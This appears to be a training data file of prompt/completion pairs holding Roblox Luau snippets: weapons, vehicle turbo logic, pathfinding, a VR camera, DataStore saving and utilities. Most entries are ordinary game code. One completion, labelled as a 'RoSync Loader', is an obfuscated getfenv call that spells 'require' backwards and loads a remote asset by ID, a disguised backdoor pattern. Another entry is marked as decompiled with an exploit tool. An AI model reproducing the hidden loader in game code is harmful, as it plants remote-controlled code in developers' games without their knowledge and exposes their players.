prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Setting up names for the collision groups. PhysicsService handles everything with
-- the name of the group rather than referencing the group itself, so saving these
-- in strings helps keep things consistant
|
local playerGroup = "Players"
local npcGroup = "NPCs"
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 140 ,
spInc = 10 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 220 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 240 ,
spInc = 20 , -- Increment between labelled notches
}
}
|
--If the above is true, what should they chat to force respawn?
|
force_respawn = "respawn"
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5 --Damage for touching the sword
local slash_damage = 10 --Damage When slashed
local lunge_damage = 30 --Damage When lunged at (Edit these for every sword)
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
if (hit.Parent == nil) then return end -- happens when bullet hits sword
local humanoid = hit.Parent:findFirstChild("Zombie")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
print("My Player =", vPlayer.Name)
humanoid:TakeDamage(damage)
wait(3)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
----------------
--[[SETTINGS]]--
----------------
|
local ViewAccessories = false
local ViewHeadAccessories = false
local RealisticView = true
local AutoLockFirstPerson = true
|
--notes
--rpm = 11000 / 100000 = 0.1, rpm = 1000 / 100000 = 0.01 * 4 = 0.04
|
Values.Values.RPM.Changed:connect(function()
Throttle = Values.Values.Throttle.Value
CurrentGear = Values.Values.Gear.Value
CurrentRPM = Values.Values.RPM.Value
if Throttle == 1 then
active = true
if CPSI < PSI then
if Turbos == "Single" then
if TurboSize == "Small" then
CPSI = CPSI + (CurrentRPM / 75000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 8
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Medium" then
CPSI = CPSI + (CurrentRPM / 100000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 10
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Large" then
CPSI = CPSI + (CurrentRPM / 125000) * 4
wait(0.1)
Values.Values.PSI.Value = CPSI * 12
Values.Values.APSI.Value = CPSI
end
elseif Turbos == "Twin" then
if TurboSize == "Small" then
CPSI = CPSI + (CurrentRPM / 75000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 8
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Medium" then
CPSI = CPSI + (CurrentRPM / 100000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 10
Values.Values.APSI.Value = CPSI
end
if TurboSize == "Large" then
CPSI = CPSI + (CurrentRPM / 125000) * 4
wait(0.05)
Values.Values.PSI.Value = CPSI * 12
Values.Values.APSI.Value = CPSI
end
end
end
if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then
boom = false
if car.Body.Exhaust.E1.S.IsPlaying then
else
local i = math.random(1,4)
i = math.ceil(i)
while i >= 1 do
car.Body.Exhaust.E2.S:Play()
car.Body.Exhaust.E1.Afterburn.Enabled = true
car.Body.Exhaust.E2.Afterburn.Enabled = true
wait(math.random(0.2,.3))
car.Body.Exhaust.E1.Afterburn.Enabled = false
car.Body.Exhaust.E2.Afterburn.Enabled = false
i= i - 1
end
wait(0.5)
boom = true
end
end
end
if Throttle <= 0.01 and active == true and Valve == "BOV" then
active = false
CPSI = 0
if TurboSize == "Large" then
Values.Values.PSI.Value = CPSI * 12
elseif TurboSize == "Medium" then
Values.Values.PSI.Value = CPSI * 10
elseif TurboSize == "Small" then
Values.Values.PSI.Value = CPSI * 8
end
Values.Values.APSI.Value = CPSI
if BOV.IsPlaying then
else
BOV:Play()
end
end
if Throttle <= 0.01 and Valve == "Bleed" then
if CPSI > 0 then
CPSI = CPSI - 0.1
wait(0.05)
end
if TurboSize == "Large" then
Values.Values.PSI.Value = CPSI * 12
elseif TurboSize == "Medium" then
Values.Values.PSI.Value = CPSI * 10
elseif TurboSize == "Small" then
Values.Values.PSI.Value = CPSI * 8
end
Values.Values.APSI.Value = CPSI
if active == true then
if BOV.IsPlaying then
else
BOV:Play()
active = false
end
end
end
end
)
if boom == false then wait(math.random(1)) boom = true end
|
--PUT THIS SCRIPT IN STARTERPACK, STOP DISLIKING IT BECAUSE YOU DIDN'T USE IT RIGHT
|
local sounds = game:GetService('SoundService')
local runtime = game:GetService('RunService')
script:WaitForChild('FootstepSounds').Parent = sounds
local materials = sounds:WaitForChild('FootstepSounds')
local plr = game.Players.LocalPlayer
repeat wait() until plr.Character
local char = plr.Character
local hrp = char.HumanoidRootPart
local hum = char.Humanoid
local walking
hum.Running:connect(function(speed)
if speed > hum.WalkSpeed/2 then
walking = true
else
walking = false
end
end)
function getMaterial()
local floormat = hum.FloorMaterial
if not floormat then floormat = 'Air' end
local matstring = string.split(tostring(floormat),'Enum.Material.')[2]
local material = matstring
return material
end
local lastmat
runtime.Heartbeat:connect(function()
if walking then
local material = getMaterial()
if material ~= lastmat and lastmat ~= nil then
materials[lastmat].Playing = false
end
local materialSound = materials[material]
materialSound.Playing = true
lastmat = material
else
for _,sound in pairs(materials:GetChildren()) do
sound.Playing = false
end
end
end)
|
-- non firing
|
GUI.MobileButtons.FireButton.MouseButton1Up:connect(function()
Down = false
end)
|
--!nonstrict
|
local Type = require(script.Parent.Type)
local ElementKind = require(script.Parent.ElementKind)
local ElementUtils = require(script.Parent.ElementUtils)
local Children = require(script.Parent.PropMarkers.Children)
local Symbol = require(script.Parent.Symbol)
local internalAssert = require(script.Parent.internalAssert)
local config = require(script.Parent.GlobalConfig).get()
local InternalData = Symbol.named("InternalData")
|
--[to install, just put the script in the car's model, not plugins, the car's model itself]
| |
--print("Front"..autoF-1)
--print("Back"..autoR)
|
if autoF - 2 > autoR then
shf = false
else
if math.abs(orderch - 50) < speed then
shf = true
else
if carSeat.Storage.Mode.Value ~= "Snow" then
shf = false
end
end
end
if autoF - 1 > autoR and script.Parent.Storage.TransmissionType.Value == "HPattern" and currentgear.Value <= 3 then
if speed < 20 then
if clutch.Clutch.Value > 0.3 and clutch.Clutch.Value < 0.6 and throttle.Value ~= 0 then
script.Parent.Functions.Clutch.Value = 0.0001
script.Parent.Functions.Clutch.Override.Value = true script.Parent.Functions.Clutch.Freeze.Value = true
else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end
else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end
else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end
|
--Do Not Edit--
|
function Update()
if Player.Character.Humanoid.Jump == true then
FirstJump = true
else
FirstJump = false
MidJump = false
Player.Character.Humanoid.WalkSpeed = 36 -- This change the walkspeed
end
end
Mouse.KeyDown:connect(onKeyDown)
Player.Character.Humanoid.Changed:connect(Update)
|
-----------------------------------PATHER--------------------------------------
|
local function createNewPopup(popupType)
local newModel = Instance.new("ImageHandleAdornment")
newModel.AlwaysOnTop = false
newModel.Image = "rbxasset://textures/Cursors/Gamepad/[email protected]"
newModel.ZIndex = 2
local size = ZERO_VECTOR2
if popupType == "DestinationPopup" then
newModel.Color3 = Color3.fromRGB(0, 175, 255)
size = Vector2.new(4,4)
elseif popupType == "DirectWalkPopup" then
newModel.Color3 = Color3.fromRGB(255, 255, 100)
size = Vector2.new(4,4)
elseif popupType == "FailurePopup" then
newModel.Color3 = Color3.fromRGB(255, 100, 100)
size = Vector2.new(4,4)
elseif popupType == "PatherPopup" then
newModel.Color3 = Color3.fromRGB(255, 255, 255)
size = Vector2.new(3,3)
newModel.ZIndex = 1
end
local dataStructure = {}
dataStructure.Model = newModel
function dataStructure:TweenIn()
local tween1 = tweenService:Create(self.Model,
TweenInfo.new(
1,
Enum.EasingStyle.Elastic,
Enum.EasingDirection.Out,
0,
false,
0
),{
Size = size
}
)
tween1:Play()
return tween1
end
function dataStructure:TweenOut()
local tween1 = tweenService:Create(self.Model,
TweenInfo.new(
.25,
Enum.EasingStyle.Quad,
Enum.EasingDirection.In,
0,
false,
0
),{
Size = ZERO_VECTOR2
}
)
tween1:Play()
return tween1
end
function dataStructure:Place(position, dest)
-- place the model at position
if not self.Model.Parent then
self.Model.Parent = workspace.Terrain
self.Model.Adornee = workspace.Terrain
self.Model.CFrame = CFrame.new(position,dest)*CFrame.Angles(math.pi/2,0,0)-Vector3.new(0,-.2,0)
end
end
return dataStructure
end
local function createPopupPath(points, numCircles)
-- creates a path with the provided points, using the path and number of circles provided
local popups = {}
local stopTraversing = false
local function killPopup(i)
-- kill all popups before and at i
for iter, v in pairs(popups) do
if iter <= i then
local tween = v:TweenOut()
spawn(function()
tween.Completed:wait()
v.Model:Destroy()
end)
popups[iter] = nil
end
end
end
local function stopFunction()
stopTraversing = true
killPopup(#points)
end
spawn(function()
for i = 1, #points do
if stopTraversing then
break
end
local includeWaypoint = i % numCircles == 0
and i < #points
and (points[#points].Position - points[i].Position).magnitude > 4
if includeWaypoint then
local popup = createNewPopup("PatherPopup")
popups[i] = popup
local nextPopup = points[i+1]
popup:Place(points[i].Position, nextPopup and nextPopup.Position or points[#points].Position)
local tween = popup:TweenIn()
wait(0.2)
end
end
end)
return stopFunction, killPopup
end
local function Pather(character, endPoint, surfaceNormal)
local this = {}
this.Cancelled = false
this.Started = false
this.Finished = Signal.Create()
this.PathFailed = Signal.Create()
this.PathStarted = Signal.Create()
this.PathComputing = false
this.PathComputed = false
this.TargetPoint = endPoint
this.TargetSurfaceNormal = surfaceNormal
this.MoveToConn = nil
this.CurrentPoint = 0
function this:Cleanup()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
if this.MoveToConn then
this.MoveToConn:disconnect()
this.MoveToConn = nil
this.humanoid = nil
end
this.humanoid = nil
end
function this:Cancel()
this.Cancelled = true
this:Cleanup()
end
function this:ComputePath()
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
local success = false
if torso then
if this.PathComputed or this.PathComputing then return end
this.PathComputing = true
success = pcall(function()
this.pathResult = PathfindingService:FindPathAsync(torso.CFrame.p, this.TargetPoint)
end)
this.pointList = this.pathResult and this.pathResult:GetWaypoints()
this.PathComputing = false
this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false
end
return true
end
function this:IsValidPath()
if not this.pathResult then
this:ComputePath()
end
return this.pathResult.Status == Enum.PathStatus.Success
end
function this:OnPointReached(reached)
if reached and not this.Cancelled then
this.CurrentPoint = this.CurrentPoint + 1
if this.CurrentPoint > #this.pointList then
-- End of path reached
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
this.Finished:fire()
this:Cleanup()
else
-- If next action == Jump, but the humanoid
-- is still jumping from a previous action
-- wait until it gets to the ground
if this.CurrentPoint + 1 <= #this.pointList then
local nextAction = this.pointList[this.CurrentPoint + 1].Action
if nextAction == Enum.PathWaypointAction.Jump then
local currentState = this.humanoid:GetState()
if currentState == Enum.HumanoidStateType.FallingDown or
currentState == Enum.HumanoidStateType.Freefall or
currentState == Enum.HumanoidStateType.Jumping then
this.humanoid.FreeFalling:wait()
-- Give time to the humanoid's state to change
-- Otherwise, the jump flag in Humanoid
-- will be reset by the state change
wait(0.1)
end
end
end
-- Move to the next point
if this.setPointFunc then
this.setPointFunc(this.CurrentPoint)
end
local nextWaypoint = this.pointList[this.CurrentPoint]
if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
this.humanoid.Jump = true
end
this.humanoid:MoveTo(nextWaypoint.Position)
end
else
this.PathFailed:fire()
this:Cleanup()
end
end
function this:Start()
if CurrentSeatPart then
return
end
this.humanoid = findPlayerHumanoid(Player)
if this.Started then return end
this.Started = true
if SHOW_PATH then
-- choose whichever one Mike likes best
this.stopTraverseFunc, this.setPointFunc = createPopupPath(this.pointList, 4)
end
if #this.pointList > 0 then
this.MoveToConn = this.humanoid.MoveToFinished:connect(function(reached) this:OnPointReached(reached) end)
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:fire()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
end
end
this:ComputePath()
if not this.PathComputed then
-- set the end point towards the camera and raycasted towards the ground in case we hit a wall
local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
local ray = Ray.new(offsetPoint, Vector3_new(0,-1,0)*50)
local newHitPart, newHitPos = RayCastIgnoreList(workspace, ray, getIgnoreList())
if newHitPart then
this.TargetPoint = newHitPos
end
-- try again
this:ComputePath()
end
return this
end
|
-- returns where the floor should be placed given the camera subject, nil if anything is invalid
|
function VRCamera:GetAvatarFeetWorldYValue(): number?
local camera = workspace.CurrentCamera
local cameraSubject = camera.CameraSubject
if not cameraSubject then
return nil
end
if cameraSubject:IsA("Humanoid") and cameraSubject.RootPart then
local rootPart = cameraSubject.RootPart
return rootPart.Position.Y - rootPart.Size.Y / 2 - cameraSubject.HipHeight
end
return nil
end
function VRCamera:UpdateFirstPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition)
-- transition from TP to FP
if self.needsReset then
self:StartFadeFromBlack()
self.needsReset = false
self.stepRotateTimeout = 0.25
self.VRCameraFocusFrozen = true
self.cameraOffsetRotation = 0
self.cameraOffsetRotationDiscrete = 0
end
-- blur screen edge during movement
local player = PlayersService.LocalPlayer
local subjectDelta = lastSubjPos - subjectPosition
if subjectDelta.magnitude > 0.01 then
self:StartVREdgeBlur(player)
end
-- straight view, not angled down
local cameraFocusP = newCameraFocus.p
local cameraLookVector = self:GetCameraLookVector()
cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit
if self.stepRotateTimeout > 0 then
self.stepRotateTimeout -= timeDelta
end
-- step rotate in 1st person
local rotateInput = CameraInput.getRotation()
local yawDelta = 0
if UserGameSettings.VRSmoothRotationEnabled then
yawDelta = rotateInput.X
else
if self.stepRotateTimeout <= 0.0 and math.abs(rotateInput.X) > 0.03 then
yawDelta = 0.5
if rotateInput.X < 0 then
yawDelta = -0.5
end
self.needsReset = true
end
end
local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(yawDelta, 0))
newCameraCFrame = CFrame.new(cameraFocusP - (FP_ZOOM * newLookVector), cameraFocusP)
return newCameraCFrame, newCameraFocus
end
function VRCamera:UpdateThirdPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition)
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if lastSubjPos ~= nil and self.lastCameraFocus ~= nil then
-- compute delta of subject since last update
local player = PlayersService.LocalPlayer
local subjectDelta = lastSubjPos - subjectPosition
local moveVector = require(player:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector()
-- is the subject still moving?
local isMoving = subjectDelta.magnitude > 0.01 or moveVector.magnitude > 0.01
if isMoving then
self.motionDetTime = 0.1
end
self.motionDetTime = self.motionDetTime - timeDelta
if self.motionDetTime > 0 then
isMoving = true
end
if isMoving and not self.needsReset then
-- if subject moves keep old camera focus
newCameraFocus = self.lastCameraFocus
-- if the focus subject stopped, time to reset the camera
self.VRCameraFocusFrozen = true
else
local subjectMoved = self.lastCameraResetPosition == nil or (subjectPosition - self.lastCameraResetPosition).Magnitude > 1
-- compute offset for 3rd person camera rotation
local rotateInput = CameraInput.getRotation()
local userCameraPan = rotateInput ~= Vector2.new()
local panUpdate = false
if userCameraPan then
if rotateInput.X ~= 0 then
local tempRotation = self.cameraOffsetRotation + rotateInput.X;
if(tempRotation < -math.pi) then
tempRotation = math.pi - (tempRotation + math.pi)
else
if (tempRotation > math.pi) then
tempRotation = -math.pi + (tempRotation - math.pi)
end
end
self.cameraOffsetRotation = math.clamp(tempRotation, -math.pi, math.pi)
if UserGameSettings.VRSmoothRotationEnabled then
self.cameraOffsetRotationDiscrete = self.cameraOffsetRotation
-- get player facing direction
local humanoid = self:GetHumanoid()
local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0)
-- adjust camera height
local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z)
local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom
-- compute new cframe at height level to subject
local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z)
local tempCF = CFrame.new(newCameraPos, lookAtPos)
tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete)
newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude)
newCameraCFrame = CFrame.new(newCameraPos, lookAtPos)
else
local tempRotDisc = math.floor(self.cameraOffsetRotation * 12 / 12)
if tempRotDisc ~= self.cameraOffsetRotationDiscrete then
self.cameraOffsetRotationDiscrete = tempRotDisc
panUpdate = true
end
end
end
end
-- recenter the camera on teleport
if (self.VRCameraFocusFrozen and subjectMoved) or self.needsReset or panUpdate then
if not panUpdate then
self.cameraOffsetRotationDiscrete = 0
self.cameraOffsetRotation = 0
end
VRService:RecenterUserHeadCFrame()
self.VRCameraFocusFrozen = false
self.needsReset = false
self.lastCameraResetPosition = subjectPosition
self:ResetZoom()
self:StartFadeFromBlack()
-- get player facing direction
local humanoid = self:GetHumanoid()
local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0)
-- adjust camera height
local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z)
local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom
-- compute new cframe at height level to subject
local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z)
if self.cameraOffsetRotation ~= 0 then
local tempCF = CFrame.new(newCameraPos, lookAtPos)
tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete)
newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude)
end
newCameraCFrame = CFrame.new(newCameraPos, lookAtPos)
end
end
end
return newCameraCFrame, newCameraFocus
end
function VRCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function VRCamera:LeaveFirstPerson()
self.inFirstPerson = false
self.needsReset = true
self:UpdateMouseBehavior()
if self.VRBlur then
self.VRBlur.Visible = false
end
end
return VRCamera
|
--[[ Last synced 10/14/2020 09:27 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--// bolekinds
|
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent
script.Parent.MouseButton1Click:Connect(function()
if plr.YouCash.Value >= 2000 and game.ServerStorage.ServerData.CatMaid.Value == false then
script.Parent.Parent.Parent.Ching:Play()
plr.YouCash.Value -= 2000
game.ServerStorage.ServerData.CatMaid.Value = true
end
end)
|
-- A set of all stack traces that have called warnOnce.
|
local onceUsedLocations = {}
|
-- Implementation of signal w/o bindable event
|
local Signal = {}
Signal.__index = {}
function Signal.new()
return setmetatable({connections = {}}, Signal)
end
function Signal:Connect(func)
self.connections[func] = func
local disconnect = function()
self.connections[func] = nil
end
return disconnect
end
function Signal:Fire(...)
for _, func in pairs(self.connections) do
func(...)
end
end
return Signal
|
-- Model name
|
print("BlackeyeI's Bending Microphone Loaded")
|
-----------------------------------------------| Save Stats |------------------------------------------------------------
|
local DataStoreService = game:GetService("DataStoreService")
local myDataStore = DataStoreService:GetDataStore("myDataStore")
game.Players.PlayerAdded:Connect(function(player)
local leaderstats = Instance.new("Folder")
leaderstats.Name = "leaderstats"
leaderstats.Parent = player
local Time = Instance.new("IntValue")
Time.Name = "Level"
Time.Parent = leaderstats
local playerUserId = "Player"..player.UserId
local data
local success, errormessage = pcall(function()
data = myDataStore:GetAsync(playerUserId)
end)
if success then
Time.Value = data
end
while wait(1) do
player.leaderstats.Time.Value = player.leaderstats.Time.Value + 0 --Don't change it or it will make it go up twice
end
end)
game.Players.PlayerRemoving:Connect(function(player)
local playerUserId = "Player"..player.UserId
local data = player.leaderstats.Time.Value
myDataStore:SetAsync(playerUserId, data)
end)
|
--[[
Examples
print(FormatNumber.FormatLong(123456789))
print(FormatNumber.FormatShort(123456789))
print(FormatNumber.FormatLong(123456789.123))
print(FormatNumber.FormatShort(123456789.123))
print(FormatNumber.FormatLong(-123456789.69))
print(FormatNumber.FormatShort(-123456.69))
]]
|
--
return FormatNumber
|
-- reference documentation: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
|
local charCodeAt = require(script.Parent.String.charCodeAt)
local Error = require(script.Parent.Error)
local HttpService = game:GetService("HttpService")
local function encodeURIComponent(value: string): string
local valueLength = utf8.len(value)
if valueLength == 0 or valueLength == nil then
return ""
end
-- we don't exhaustively test the whole string for invalid characters like ECMA-262 15.1.3 says
local check = charCodeAt(value, 1)
if valueLength == 1 then
if check == 0xD800 then
error(Error.new("URI malformed"))
end
if check == 0xDFFF then
error(Error.new("URI malformed"))
end
end
if check >= 0xDC00 and check < 0xDFFF then
error(Error.new("URI malformed"))
end
local encoded = HttpService:UrlEncode(value)
-- reverting encoded chars which are not encoded by JS
local result = encoded
:gsub("%%2D", "-")
:gsub("%%5F", "_")
:gsub("%%2E", ".")
:gsub("%%21", "!")
:gsub("%%7E", "~")
:gsub("%%2A", "*")
:gsub("%%27", "'")
:gsub("%%28", "(")
:gsub("%%29", ")")
return result
end
return encodeURIComponent
|
-- places a brick at pos and returns the position of the brick's opposite corner
|
function placeBrick(cf, pos, color)
local brick = Instance.new("Part")
brick.BrickColor = color
brick.CFrame = cf * CFrame.new(pos + brick.size / 2)
brick.Parent = script.Parent.Bricks
brick:makeJoints()
return brick, pos + brick.size
end
function buildWall(cf)
local color = BrickColor.random()
local bricks = {}
assert(wallWidth>0)
local y = 0
while y < wallHeight do
local p
local x = -wallWidth/2
while x < wallWidth/2 do
local brick
brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
x = p.x
table.insert(bricks, brick)
wait(brickSpeed)
end
y = p.y
end
wait(wallLifetime)
-- now delete them!
while #bricks>0 do
table.remove(bricks):Remove()
task.wait(brickSpeed/2)
end
end
script.Parent.ChildAdded:connect(function(item)
if item.Name=="NewWall" then
item:remove()
buildWall(item.Value)
end
end)
|
-- FIXME Luau: typing class as Object gives: Type '{ @metatable {| __call: <a>(a, ...any) -> Error, __tostring: <b, c>({+ message: b, name: c +}) -> string |}, Error }' could not be converted into 'table'
|
return function(tbl: any, class: any): boolean
if _G.__DEV__ then
assert(typeof(class) == "table", "Received a non-table as the second argument for instanceof")
end
if typeof(tbl) ~= "table" then
return false
end
local ok, hasNew = pcall(function()
return class.new ~= nil and tbl.new == class.new
end)
if ok and hasNew then
return true
end
local seen = { tbl = true }
while tbl and typeof(tbl) == "table" do
tbl = getmetatable(tbl)
if typeof(tbl) == "table" then
tbl = tbl.__index
if tbl == class then
return true
end
end
-- if we still have a valid table then check against seen
if typeof(tbl) == "table" then
if seen[tbl] then
return false
end
seen[tbl] = true
end
end
return false
end
|
-- Hands
|
character.LeftHand.Material = Material
character.RightHand.Material = Material
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
v1.__index = v1;
function v1.new()
local v2 = setmetatable({}, v1);
v2.lastUpdate = tick();
v2.transparencyDirty = false;
v2.enabled = false;
v2.lastTransparency = nil;
v2.descendantAddedConn = nil;
v2.descendantRemovingConn = nil;
v2.toolDescendantAddedConns = {};
v2.toolDescendantRemovingConns = {};
v2.cachedParts = {};
return v2;
end;
function v1.HasToolAncestor(p1, p2)
if p2.Parent == nil then
return false;
end;
if p2.Parent:IsA("Tool") then
return true;
end;
if p2.Parent:IsA("Accessory") and string.find(p2.Parent.Name, "Flashlight") then
return true;
end;
return p1:HasToolAncestor(p2.Parent);
end;
function v1.IsValidPartToModify(p3, p4)
if not p4:IsA("BasePart") and not p4:IsA("Decal") then
return false;
end;
return not p3:HasToolAncestor(p4);
end;
function v1.CachePartsRecursive(p5, p6)
if p6 then
if p5:IsValidPartToModify(p6) then
p5.cachedParts[p6] = true;
p5.transparencyDirty = true;
end;
for v3, v4 in pairs(p6:GetChildren()) do
p5:CachePartsRecursive(v4);
end;
end;
end;
function v1.TeardownTransparency(p7)
for v5, v6 in pairs(p7.cachedParts) do
v5.LocalTransparencyModifier = 0;
end;
p7.cachedParts = {};
p7.transparencyDirty = true;
p7.lastTransparency = nil;
if p7.descendantAddedConn then
p7.descendantAddedConn:disconnect();
p7.descendantAddedConn = nil;
end;
if p7.descendantRemovingConn then
p7.descendantRemovingConn:disconnect();
p7.descendantRemovingConn = nil;
end;
for v7, v8 in pairs(p7.toolDescendantAddedConns) do
v8:Disconnect();
p7.toolDescendantAddedConns[v7] = nil;
end;
for v9, v10 in pairs(p7.toolDescendantRemovingConns) do
v10:Disconnect();
p7.toolDescendantRemovingConns[v9] = nil;
end;
end;
function v1.SetupTransparency(p8, p9)
p8:TeardownTransparency();
if p8.descendantAddedConn then
p8.descendantAddedConn:disconnect();
end;
p8.descendantAddedConn = p9.DescendantAdded:Connect(function(p10)
if p8:IsValidPartToModify(p10) then
p8.cachedParts[p10] = true;
p8.transparencyDirty = true;
return;
end;
if p10:IsA("Tool") then
if p8.toolDescendantAddedConns[p10] then
p8.toolDescendantAddedConns[p10]:Disconnect();
end;
p8.toolDescendantAddedConns[p10] = p10.DescendantAdded:Connect(function(p11)
p8.cachedParts[p11] = nil;
if p11:IsA("BasePart") or p11:IsA("Decal") then
p11.LocalTransparencyModifier = 0;
end;
end);
if p8.toolDescendantRemovingConns[p10] then
p8.toolDescendantRemovingConns[p10]:disconnect();
end;
p8.toolDescendantRemovingConns[p10] = p10.DescendantRemoving:Connect(function(p12)
wait();
if p9 and p12 and p12:IsDescendantOf(p9) and p8:IsValidPartToModify(p12) then
p8.cachedParts[p12] = true;
p8.transparencyDirty = true;
end;
end);
end;
end);
if p8.descendantRemovingConn then
p8.descendantRemovingConn:disconnect();
end;
p8.descendantRemovingConn = p9.DescendantRemoving:connect(function(p13)
if p8.cachedParts[p13] then
p8.cachedParts[p13] = nil;
p13.LocalTransparencyModifier = 0;
end;
end);
p8:CachePartsRecursive(p9);
end;
function v1.Enable(p14, p15)
if p14.enabled ~= p15 then
p14.enabled = p15;
p14:Update();
end;
end;
function v1.SetSubject(p16, p17)
local v11 = nil;
if p17 and p17:IsA("Humanoid") then
v11 = p17.Parent;
end;
if p17 and p17:IsA("VehicleSeat") and p17.Occupant then
v11 = p17.Occupant.Parent;
end;
